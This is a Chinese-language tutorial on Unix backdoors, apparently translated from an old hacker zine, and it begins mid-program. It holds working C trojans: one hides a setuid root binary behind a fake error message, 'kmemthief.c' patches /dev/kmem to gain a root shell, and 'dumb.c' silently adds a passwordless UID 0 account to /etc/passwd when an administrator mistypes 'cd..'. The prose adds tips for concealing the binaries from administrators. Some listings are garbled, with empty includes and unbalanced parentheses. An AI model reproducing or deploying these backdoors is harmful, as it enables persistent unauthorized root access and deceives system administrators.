后门技巧杂谈
system("chmod 4755 /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
printf("372f: Invalid control argument, unable to initialize. Retrying");
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nAction aborted after 10 attempts.\n");
return(0);
}
<-->
[变种]
以下程序通过在内存中寻找你所运行程序的 UID,并将其改为 0,这样你就有了一个 suid root shell 了。
<++> backdoor/kmemthief.c
#include
#include
#include
#include
#include
#include
#include
#define pass "triad"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){
if(!(strcmp(pass,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to
/dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}
}
<-->
[“笨”方法]
你有没有曾经试过在 UNIX 系统下错把 "cd .." 输入为 "cd.."?这是由于使用 MS Windows 和 MS-DOS 养成的习惯。这种错误网管是否也会犯呢?如果是这样的话,可不可以让他为我们做点“贡献”呢? 例如当他输入 "cd.." 时,会激活我们的木马程序。这样我们就不必登录到系统去激活木马了。以下是程序示例:
<++> backdoor/dumb.c
/*
本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号。但同时它也实现 cd .. 功能,从而骗过管理员。
*/
#include
#include
main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
system("cd");
}
<-->
把上面的程序编译好,放到隐蔽的地方。最好使用 chown 命令将该程序的属主改为 root,使管理员使用 "ls -alF" 命令看到 suid 程序时不至于怀疑。
好了,将这个程序(假设其名为 fid)放好以后,下一步的工作就是建立该程序到 "cd.." 的链接:ln cd.. /bin/out。这样,只要系统管理员犯了这个输入错误,你就可以又一次得到系统控制权了